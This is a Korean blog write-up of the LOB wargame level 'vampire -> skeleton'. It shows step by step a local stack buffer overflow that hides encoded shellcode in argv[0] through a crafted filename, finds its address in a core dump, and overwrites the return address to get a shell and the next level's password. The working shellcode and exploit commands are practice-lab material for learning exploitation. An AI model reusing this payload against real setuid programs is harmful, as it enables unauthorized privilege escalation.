필자가 orge 문제 풀이 작성 시 헷갈렸던 문제이다.
문제 소스코드.
이번엔 argv[0]까지 초기화 되었다! 이제 우리에게 남은 부분은 어디일까?
orge 문제 포스트를 보면 알 수 있다
모르겠으면 스택을 다 뒤져보면 되지!라는 생각을 했다면 풀 수 있는 문제다.
[vampire@localhost vampire]$ mkdir /tmp/dirskeleton
[vampire@localhost vampire]$ cd /tmp/dirskeleton/
[vampire@localhost dirskeleton]$ cp ~/skeleton .
[vampire@localhost dirskeleton]$ gdb -q ./skeleton
(gdb) set disassembly-flavor intel
(gdb) disassemble main
<shellcode를 어디에 삽입하지?>
스택 메모리를 뒤져보자.
argv[0]을 초기화했으나 메모리 끝 영역에 argv[0] 값이 남아있는 것을 확인할 수 있다!
이것을 활용하자!
<argv[0]에 shellcode 삽입하기>
exploit 방법은 orge 레벨과 거의 똑같다.
파일이름을 통해 argv[0]에 쉘코드를 삽입하자!
[vampire@localhost dirskeleton]$ ls
[vampire@localhost dirskeleton]$ cp ~/skeleton ./`python -c 'print "\x90"*150+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'`
[vampire@localhost dirskeleton]$ ./* `python -c 'print "\xbf"*48'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)
shellcode 뒤에 nop을 50개 넣어주었는데, 이 쉘코드의 특성상 shellcode 뒤에 약간의 공간이 필요하므로 넣어주었다.
core 파일을 생성하였다. GDB로 shellcode의 주소를 알아보자.
우리는 쉘코드가 메모리의 끝 영역에 있다는 것을 알고 있다.
gdb -q -c core
x/256s 0xbfffff00
'./'를 제외하고 0xbfffff03에 nop+shellcode가 위치한다.
이제 이 주소로 RET 영역을 overwrite 하면 된다.
<exploit>
[vampire@localhost dirskeleton]$ ln -sf ~/skeleton ./`python -c 'print "\x90"'`*
[vampire@localhost dirskeleton]$ ls
core
??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????龞1ɱ2?l?ÿ??羵ꀨ쀿ÿ2i00tii0cjo?㐔??̿??????????????????????????????????????????????????
[vampire@localhost dirskeleton]$ ./`python -c 'print "\x90"'`* `python -c 'print "\xbf"*44+"\x03\xff\xff\xbf"'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿ÿÿ¿
bash$ id
uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire)
bash$ my-pass
euid = 510
shellcoder
bash$
skeleton의 패스워드는 shellcoder
'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글
LOB golem -> darkknight (0) | 2015.11.14 |
---|---|
LOB skeletom -> golem (1) | 2015.11.14 |
LOB troll -> vampire (0) | 2015.11.13 |
LOB orge -> troll (0) | 2015.11.13 |
LOB darkelf -> orge (0) | 2015.11.13 |
WRITTEN BY
- hojongs
블로그 옮겼습니다 https://hojongs.github.io/